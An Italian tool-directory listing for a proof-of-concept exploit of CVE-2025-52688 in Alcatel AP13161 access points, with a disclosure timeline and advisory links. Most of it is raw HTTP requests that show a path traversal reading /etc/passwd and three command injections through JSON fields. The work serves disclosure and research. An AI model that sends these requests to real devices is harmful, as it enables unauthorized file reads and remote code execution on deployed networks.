Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2025-52688 — Proof-of-concept di exploit per CVE-2025-52688: vulnerabilità di command injection non autenticata e di lettura arbitraria di file nei punti di accesso WiFi aziendali Alcatel AP13161, scoperte durante un hackathon IoT/OT. | Kitploit
Strumenti/GitHubGitHub/joelczk/cve-2025-52688
Sicurezza IoTAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebCommand and ControlSicurezza Hardware e IoT
GitHubjoelczk/cve-2025-52688

CVE-2025-52688

Proof-of-concept di exploit per CVE-2025-52688: vulnerabilità di command injection non autenticata e di lettura arbitraria di file nei punti di accesso WiFi aziendali Alcatel AP13161, scoperte durante un hackathon IoT/OT.

Vedi Repository
211 anno faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2025-52688

Prodotti interessati

Alcatel AP13161 - Punto di accesso WIFI Enterprise

Riepilogo

Ci sono 2 vulnerabilità principali affrontate qui:

  • Mancanza di sanificazione dell'input su più parametri web JSON che consente l'iniezione di caratteri dannosi come ; per provocare un attacco di command injection
  • Mancanza di una corretta sanificazione e controllo degli accessi sul parametro fileName che consente la lettura non autorizzata di file arbitrari sul server

Questa vulnerabilità è stata scoperta durante la SPIRICYBER-24 IoT/OT Hackathon organizzata da CSA (Cybersecurity Agency of Singapore) e NTU

POC

POC Lettura File

Il parametro fileName consente a qualsiasi utente non autenticato di visualizzare qualsiasi file sul sistema. Attraversando le directory, siamo in grado di leggere file sensibili sul server

root@kitploit:~
POST /echo.fcgi HTTP/1.1
Host: XXXXX
User-Agent: Mozilla/5.0 (Linux; U; Android 7.0; en-us; MI 5 Build/NRD90M) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/53.0.2785.146 Mobile Safari/537.36 XiaoMi/MiuiBrowser/9.0.3
Accept: application/json, text/plain, */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: application/json
Content-Length: 110
Connection: keep-alive
{
    "id":1,
    "jsonrpc":"2.0",
    "username":"xxx",
    "method":"downloader.cert",
    "params":{
        "fileName":"/../../etc/passwd"
    }
}

RCE POC #1

Il parametro password sull'endpoint /apiaccess è vulnerabile a una vulnerabilità di command injection non autenticata che consente a qualsiasi utente non autenticato di eseguire comandi di sistema

root@kitploit:~
POST /apiaccess HTTP/1.1
Host: XXXX
Cache-Control: max-age=0
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
{
    "id":1,
    "jsonrpc":"2.0",
    "method":"system.getPvc",
    "params":{
        "username": "Administrator",
        "password":";echo pwned1234 > /tmp/test.txt"
    }
}

RCE POC #2

Il parametro username sull'endpoint echo.fcgi è vulnerabile a una vulnerabilità di command injection non autenticata che consente a qualsiasi utente non autenticato di eseguire comandi di sistema

root@kitploit:~
POST /echo.fcgi HTTP/1.1
Host: 
Cache-Control: max-age=0
Accept-Language: en-GB
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Accept: application/json, text/plain, */*
{
    "id":1,
    "jsonrpc":"2.0",
    "username":"Administrator",
    "method":"user.logout",
    "params":{
        "username": ";echo pwned > /tmp/test.txt",
        "Sessionid":""
    }
}

RCE POC #3

Il parametro command consente agli utenti autenticati di eseguire funzioni e binari di sistema per testare la funzionalità del lampione. Tuttavia, a causa di un filtraggio dell'input e di una blacklist insufficienti, siamo in grado di bypassare i filtri per eseguire un'esecuzione di codice remoto autenticata che consente a qualsiasi utente connesso di eseguire comandi di sistema

root@kitploit:~
POST /echo.fcgi HTTP/1.1
Host: XXXX
Content-Length: 349
Accept: application/json, text/plain, */*
Accept-Language: en-GB
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.6533.100 Safari/537.36
Content-Type: application/json
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
{
    "id":1,
    "jsonrpc":"2.0",
    "method":"expressmessage.call",
    "username":"Administrator",
    "session":"XXXXXX",
    "topic":"WMA/DC:XXXXXXX",
    "params":{
        "version":"3.0",
        "messageID":1,
        "macAddress":"DC:XXXXX",
        "option":"update",
        "method":"ap_manage.exce_command",
        "contents":{
            "command":"tech_support_command 9 127.0.0.1\nid"
       }
    }
}

Cronologia

2024-08-10: Report inviato al team di triage di SpiritCyber IoT Hackathon

2024-08-20: Report accettato dal team di triage

2025-06-25: CSA SingCert assegna CVE-2025-52688

2025-07-14: Divulgazione pubblica

Avviso

https://www.csa.gov.sg/alerts-and-advisories/alerts/al-2025-072

https://www.al-enterprise.com/-/media/567414972b57459697030898f92ac043.pdf

Scarica lo strumento